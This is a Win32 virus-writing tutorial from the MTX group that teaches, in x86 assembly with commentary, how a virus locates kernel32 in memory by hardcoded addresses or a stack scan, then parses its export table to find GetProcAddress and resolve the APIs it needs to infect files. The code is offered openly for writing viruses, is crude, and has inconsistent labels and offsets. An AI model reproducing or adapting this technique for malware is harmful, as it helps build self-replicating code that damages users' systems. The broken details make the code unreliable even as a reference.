************************************************************** ************************************************************** ********************* KERNEL/API TUTORIAL ******************** ************************************************************** ************************************************************** ********************* By Cell [MTX]*************************** ************************************************************** this tutorial is designed to be helpful and simple to grasp some of you guys who have been coding w32 a long time may find this tut boring , or the simple language i use stupid. but this tut was made for those who want to code w32, but the whole kernel/api thing stps them. Greetings... As operating systems have evolved so have the means of Coding for them... In DOS Viruses, you just used mov tog et your parameters and called a Interrupt. simple huh? and we always new where a particular interrupt was located int# * 4 but.. in W32 Viruses things have changed Our functions are NOT constant. Functions in windows are called APIs, just thing of them as a "windows interrupt" if you will, to keep it simple. With each version of each windows functionsmay be at differently places in memory So, our virus has to locate them, as to use to infect Some will say, hey wait, doesnt Windos have a import table,t hat you can oput in your program and get APIs? yes. but that wont work for our purposes as when we copy the virus Code the 1st generations Import table doesnt go with it, its governed by the hosts import table..and if it doesnt have some of the functions we need, were pretty fucked. Now comes into expalining things. Functions on W32 systems are exported By DLL files, modules each Dll contains a certain set of functions which it exports, or, makes available to other programs or modules that need them. For example, the API MessageBoxA is in user32.dll when called with parameters it displays a message Box. Oh another thing, in w32 code, we dont use mov and such to do our params, we push to the stack for example, GetModuleHandleA has the following params: HMODULE GetModuleHandle( LPCTSTR lpModuleName // address of module name to return handle for ); Basicly then, it wants pressed to the stack, the name of the Module (DLL FILE) we want the location for so if we wanted to the location of user32.dll it would be done like this: Push offset USERMODULE Call GetModuleHandleA USERMODULE db 'user32.dll',0 if it worked, in EAX it will return the address in memory of user32.dll Now anyway, for a virus we have alot of functions..mainly fucntions that interact with files ...and guess what DLL exports them? kernel32.dll, in your windows directory. So we need to do the following 1) Get Address of kernel 2) Search its export table for GetProcAddress 3) use GPA to get all our APIs GetProcAddress is a API for finding other APIs the parameters are as follows: HMODULE hModule, // handle to DLL module LPCSTR lpProcName // name of function ); On the stack it wants the address of the DLL and the name of the fucntion we want Since we have user32.dll address in eax, we could do this to get MessageBoxA ;EAX has addy of user32.dll push eax push offset Messager Call GetProcAddress messager db 'MessageBoxA',0 this , if it worked would return the address in EAX of MessageBoxA! but anyway, first thing is first the Kernel, without it, we arent going anywhere The kernel is the Main DLL file in all of windows Exports the fucntions we will need to be a virus :) for first thing is: Find where the fuck kernel is in memory i will show you a couple methods first, which is the crappiest method, we can check the addresses of Known kernels each windows OS had its kernel at a specific address some coders will use those to check against i will illustrate here: Windows 95/98 kernel: BFF70000h Windows ME Kernel: BFF60000h so lets say i wantd to check for these 2.. keep in mind DLL files also have a PE header. mov eax,0BFF70000h mov edi,eax cmp word ptr [eax],'ZM' jne CheckWinME mov edi,[edi+3ch] add edi,0BFF70000h cmp word ptr [edi],'EP' jne CheckWinMe mov dword ptr [ebp+offset Kernel],eax jmp getApis CheckWinMe: mov eax,0BFF60000h mov edi,eax cmp word ptr [eax],'ZM' jne Exit_Program mov edi,[edi+3ch] add edi,0BFF70000h cmp word ptr [edi],'EP' jne Exit_Program Now i will explain the above :) mov eax,0BFF70000h mov edi,eax cmp word ptr [eax],'ZM' EAX now poits to the address of the suspected Windows95 kernel and since DLLs are in EXE format we also mov edi into eax, so that EDI Also points to the suspected kernel (exe header, Pe ehader, accept they have no entry point) we check for the MZ signature (in coding you check backwards, if your looking for BL you look for LB) if its there, we know its in EXE format jne CheckWinME mov edi,[edi+3ch] add edi,0BFF70000h cmp word ptr [edi],'EP' jne CheckWinMe mov dword ptr [ebp+offset Kernel],eax jmp getApis Ok, remember how EDI also pointed to the EXE header. this is the first part of EXE header ; 0 dw 'ZM' ;MZ ;identificator ; 2 dw ? ;last page ;bytes ; 4 dw ? ;file pages ; 6 dw ? ;reloc ;8 dw ? ;header size ;in paragraphs ;0ah dw ? ;minimum ;paragraph needed ;0ch dw ? ;maximum ;paragraphs needed ; 0eh dw ? ;initial SS ;010h dw ? ;initial SP ;012h dw ? ;checksum ;014h dw ? ;initial IP ;016h dw ? ;initial CS ;018h dw ? ;reloc ;address ; 01ah dw ? ;overlay ;number ; 01ch dd ? ;reserved ; 020h dw ? ;OEM ;dentifier ; 022h dw ? ;OEM ;information ; .... ;reserved ; 03ch dw ? ;PE header relative offset notice, at 3ch is stored the offset of PE header so elts say, at that location, it said 30H that would mean PE header is at 30H in file. open up a PE EXE in a hex editor and go to offset 3ch in the header see the numer there? then go to that offset and what do you see? the letters PE get it? any way, after the mov edi,[edi+3ch] we have the offset of the PE header in edi since edi points to exe header and add 3ch to that and we have PE header! add edi,0BFF70000h ok, now that we have PE ehader offset..say it was 30h that was Only part of the address.. the PE header is at 30h yes, but were in the kernel remember? 30h isnt accruate, becasue we alot farther in memory then 30h were in the kernel remember? so that means were at 30h IN THE KERNEL which meands we have to add the kernel address to the PE header address to make it right: add edi,0BFF70000h then: cmp word ptr [edi],'EP' jne CheckWinMe mov dword ptr [ebp+offset Kernel],eax jmp getApis once the address is right we check for the PE (rememebr the PE in the hex editor?) if the letters PE arent there it isnt a PE file but if we find it is, then we have the kernel and we store it in offset Kernel and jump to the routtine to get our apis the same explanations apply for both routines the one i showed and CheckWinMe the second method i will show you is the stack method When the Operating system calls your Program into action, the address which it called from will be on the stack and since this address is within the kernel, it will allow us to Find the kernel address! APISHIT: mov ax,50d ;50 pages mov esi,[esp] ;get address we came from and esi,0FFFF0000h ;make begginning of page ok ax is 50d (d means decimal which is regular numbers) because later we will use it as a counter.. anwyway mov esi,[esp] now ESI has the contents of ESP (the stack pointer) which is the address we were called from we have esp in brackets because if we didnt, it would point to where the ESP itself was, not what it contained so now ESI has the address we were called from and esi,0FFFF0000h we need a even nuber to use for our purposes so elts say we had ESI as Bff78573h we want it as BFF70000h and the and function will do that for us cmp eax,0 ;is counter 0? je AssumeKernel ;if so, we Assue kernel addies cmp word ptr [esi],'ZM' ;Is EXE stamp??? je CheckHimOut ;"La FLuhr: Check him out!" here were checking if our counter is 0 if it is, weve gone beyond limits and must stop otherwise we check the address in ESI for the EXE signature if it is there we check futher, otherwise: MoreSearch: sub esi,1000h ;next page dec ax ;dec counter jmp KERNELFIND ;try find again we subtract esi 1000h (one page) and decrement the counter the counter started at 50 we decrease by one each search tell we reach 0 after we decrement we go back to the exe checking otherwise we do the below CheckHimOut: mov edi,[esi+3ch] ;Get PE header field add edi,esi ;make normal cmp word ptr [edi],'EP' ;Do we? je WeHaveHim remmeber in first method when we checked for PE signature? well we do it here to mov edi,[esi+3ch] puts edi at offset 3ch in EXE header, which is offset of the PE header! then we add that to ESI which makes ESI point to the PE header as well then check for the PE signature and if we find it, we store the kernel: mov dword ptr [ebp+offset Kernel],esi ok.. now we have the kernel.. so now we will get the API GetProcAddress from it so we can use it to get APIs anyway first i must explain to you the Export table. at 78h in the PE header is the export table, it can be accessed like this: we will assume esi points to the exe header and keep in mind the PE HEAder and EXE header dont mean the same thing. PE Header address is at 3ch IN the exeheader mov edi,[esi+3ch] ; get addy of Pe Header in EDI add esi,edi ;ESI points to pe header add esi,[ebp+offset Kernel] ;make right add esi,78h ;esi points to addy of Export table mov esi,[esi] ;ESI points to export table now add esi,[ebp+offset Kernel] ;make address right ESI now points to the Table. now let us examine it: 018h dd ? number of names 01ch dd ? address of functions 020h dd ? address of names 024h dd ? address of ordinals ill explain them at 18h you see we have the number of names this will tell us how many APIs the DLL exports at 1ch is the address of the functions this address tells us where the functions are 20h - address of names, leads to a table with the Strings of the names of the APIs the dll export 24h address of ordinals, elads us to each fucntions ordinal and is used in a formula to caluclate the address of the function mov edi,[esi+18h] ;get Address of the Value of NumberOfNames mov [ebp+offset NumberOfNames],edi ;save it mov edi,[esi+1Ch] ;get addy of address of functions add edi,[ebp+offset Kernel32] ;normal with kernel mov [ebp+offset AddressOfFunctions],edi ;save mov edi,[esi+20h] ;get addy to strings of names add edi,[ebp+offset Kernel32] ;normal with kernel mov [ebp+offset AddressOfNames],edi ;save mov edi,[esi+24h] ;get addy of orgies..err Ordies add edi,[ebp+offset Kernel32] ;normal;ize with the kernel mov [ebp+offset AddressOfOrdinals],edi ;save remmeebr at the end of our export table example esi pointed to the table so above saves the tables parts like mov edi,[esi+18h] is to get the number of names, remember from above 018h dd ? number of names 01ch dd ? address of functions 020h dd ? address of names 024h dd ? address of ordinals see? i bet your starting to go like "oooohhhhhhhhhhh" now if so, good. lets continue and as you can see we add the kernels address to our variables, to make them right, as stated earlier if you get the Address for number of names and its like 60h 60h yes, but 60h in what? the kernel! so we add its address to it notice how each of the numbers above matches a Offset in the table and the above refrences are defined in code as follows: NumberOfNames dd 0 AddressOfFunctions dd 0 AddressOfNames dd 0 AddressOfOrdinals 0 now there only 0 until the qbove routines, when we save them to the variables they wont be 0 anymore. mov ax,[ebp+offset NumberOfNames] ;AX = Limit mov esi, [Ebp+offset AddressOfNames] ;" " mov [ebp+offset NamingIndex],esi ;save into naming index mov edi,[esi] ;get the addy add edi,[ebp+offset Kernel32] ;normalize xor edx,edx ;zerro out dx ok, now we are going to set up our scan for GetProcAddress ax will hold the number of names we need this ebcause NumberOfNames = the number of APIs the dll exports so lets say a dll exported 100 functions, we wouldnt want to scan more then 100 timnes, get the idea? then ESI points to our address of the strings (where were going to scan) and we save that location as a index which in code is defined: NamingIndex dd 0 then edi will be passed to the index, and made right using the kernel address SCANEM: lea esi,[ebp+offset APIS] ;ESI points to getprocaddress EDI points to where we want to scan. esi will point to what we want to scan for which is APIS in my code i had APIS defined like this: APIS db 'GetProcAddress',0 were scanning for the string "GetProcAddress" in the names index scanem2: mov ecx,APIS_SIZE ;size of string rep cmpsb ;scan je foundproc ;if equal calculate function address in your code APIS_SIZE is this: APIS_SIZE = $ - APIS and it must go right under the APIs offset it is the size the $ means current position it means the current position minus the offset APIs, which gives us the size of the offset so we know how many bytes to scan rem cmpsb that will repeat the check ECX times. and since the size is in ECX it will repeat the number of times as bytes we need to scan if its equal we go to the foundproc procedure, if not if we didnt find we will do the following: scanem3: inc dx ;dx+1 cmp dx,ax ;is limit? jge terminater ;if so lets go add dword ptr [ebp+offset NamingIndex],4 ;get next name mov esi,[ebp+offset NamingIndex] ;esi points to mov edi,[esi] ;edi has addy add edi,[ebp+offset Kernel32] ;normalize jmp SCANEM ;scan it remember how we 0'ed out DX earlier? wee now we incremment it by one and compare it to AX because AX has the limit. DX will equal Number of scans we have dopne AX equals the Max number of scans we can do so we check if they are equal or greater JGE = Jump if Greater or Equal if it is greater or equal and we dont have GetProcAddress yet, it means that soemthing is very wrng and we will exit the program, proably go to host if its not above the limit tho we add 4 to the naming idnex address, because each name occupies of area of 4 bytes if we try one name and it isnt it, we add 4 to get the next one then we mov edi, to the naming index and make right with the kernel but once we have gotten GetProcAddress we will do this: mov ecx,esi ;ECX holds address of the name inc ecx ;inc push ecx ;save ecx mov eax,edx ;eax holds the element number mov ecx,2 ;take times 2 mul ecx ;do it pop ecx ;restore ecx mov esi,[ebp+offset AddressOfOrdinals] ;get Ordinal value add esi,eax ;add the element*2 xor eax,eax ;0 ax mov ax,word ptr [esi] ;AX = poitns to addres names mov ecx,4 ;times 4 mul ecx ;multiply mov esi,[ebp+offset AddressOfFunctions] ;get addy of functions add esi,eax ;add it to element formula result mov edi,dword ptr [esi] ;edi has value add edi,[ebp+offset Kernel32] ;normal with kernel mov eax,edi ;eax has mov [ebp+offset GetProcAddressAA],eax ;save GPA Now you must be thinking thats alot to udnerstand, worry not, i will explain it remember ESI held the name of the API were getting now we mov ecx into it and INC it to account for the 0 byte at the end of our data. and save ecx usign the PUSH for later use now if you recall EDX was acting as a counter for the Number of scans now you will find out another reason why the element number. yyes, the elemnt number, which we will have to use with the ordinals to retrieve it what ever # the String ocured as in the name table, like iof it was the 133 API there, its element is 133 then we take it times 2 using muk mov ecx,2 mul ecx that will multiply what ever is in EAX in our case, the elemnt number, by 2. pop ecx will simply restore ecx from before then we point ESI to the Ordinal address and add that to EAX, which has element times 2 in it. then we move AX into the Ordinal table and take that number times 4 then we move esi into AddressOfFunctions, and add it to EAX and BAM! we have GetProcAddress just normalize with kernel and its ours now for makign it simple above the address of the API in the export tableis equal too: Element x 2 + Address OF Ordinals table this gives us its ordinal then we multiply the ordinal by 4 and add that to the address of functions and wallah. API RVA (Real virtual address) but once we normalize with the kernel, its not just virtual, its real mov edi,dword ptr [esi] ;edi has value add edi,[ebp+offset Kernel32] ;normal with kernel mov eax,edi ;eax has mov [ebp+offset GetProcAddressAA],eax ;save GPA Edi is in ESI which has the address of GPA (GetProcAddress) and we then add the kernel to EDI to normalize the GPA address, and we move into eax and save it its defined like this: GetProcAddressAA dd 0 but wait tis not over yet... we still have to get the apis we need lea esi,[ebp+offset WhateverFUckinAPiIneed] ;ESI points to stringd lea edi,[ebp+offset WhateverFUckinAPiIneedAA] ;EDI to place where addies willl be kept getit: push esi ;save ESI as param push dword ptr [ebp+offset Kernel32] ;ecx will equal kernel addy ;save it Call dword ptr [ebp+offset GetProcAddressAA] ;eax has addy of GPA stosd ;store it next1: inc esi ;ESI+1 cmp byte ptr [esi],0 ;is complete string? jne next1 ;nope, go one more byte inc esi ;add esi+1 cmp byte ptr [esi],0ddh ;are we at end of api list? jne getit ;nope. snag it ok this is simple ESI points to the names of APis so: WhateverFUckinAPiIneed might be like this: WhateverFUckinAPiIneed db "ShitA",0 WhateverFUckinAPiIneedAA will be: WhateverFUckinAPiIneedAA dd 0 it will hold the address when were done anyway with ESI pointing to the strings, and edi pointing to storage we push esi ;save ESI as param push dword ptr [ebp+offset Kernel] ;ecx will equal kernel addy ;save it Call dword ptr [ebp+offset GetProcAddressAA] ;eax has addy of GPA stosd ;store it since ESI points to a name of a procedure we push it, as a parameter then we push the Module were getting from, in this case, the kernel. Call dword ptr [ebp+offset GetProcAddressAA] this will call the GetProcAddress procedure and eax will return our Address, which were store in edi, opr in this case: WhateverFUckinAPiIneedAA dd 0 the 0 will become the address of the api and to call it youd do this: Call dword ptr [ebp+WhateverFUckinAPiIneedAA] but we need more then one API< so we set up a loop next1: inc esi ;ESI+1 cmp byte ptr [esi],0 ;is complete string? jne next1 ;nope, go one more byte inc esi ;add esi+1 cmp byte ptr [esi],0ddh ;are we at end of api list? jne getit ;nope. snag it since ESI points to the Strings we add 1 to ESI and echk if its 0, because if it is were at the end of one API WhateverFUckinAPiIneed db "ShitA",0 see the 0 at the end? thats what were cchecking for if its not 0 yet, we add to esi tell it is. then when its 0 we add to Esi one more time and check for our marker because in between the Names of strings and addresses you shoul have a marker like lets say we have some apis: Shit db 'ShitA',0 ass db 'AssA',0 ShitAA dd 0 ass dd 0 we need to know when the strings table ends so we put in a marker Shit db 'ShitA',0 ass db 'AssA',0 db 0ddh ShitAA dd 0 ass dd 0 and if we find it, we know we have all our apis, or else we must get another one. and once you have all your APIs, it is time to Mosey on to your virus, unless you want to load other Dlls for other apis for example, if you want to display a message box youll need the API MessageBoxA (have LoadLibraryA on your API list, use it to load it, and get its base, then use that base and a string with GetProcAddress to get the API :) ) Well Cya, and code on. i hope you have learned from this tutorial -Cell[MTX]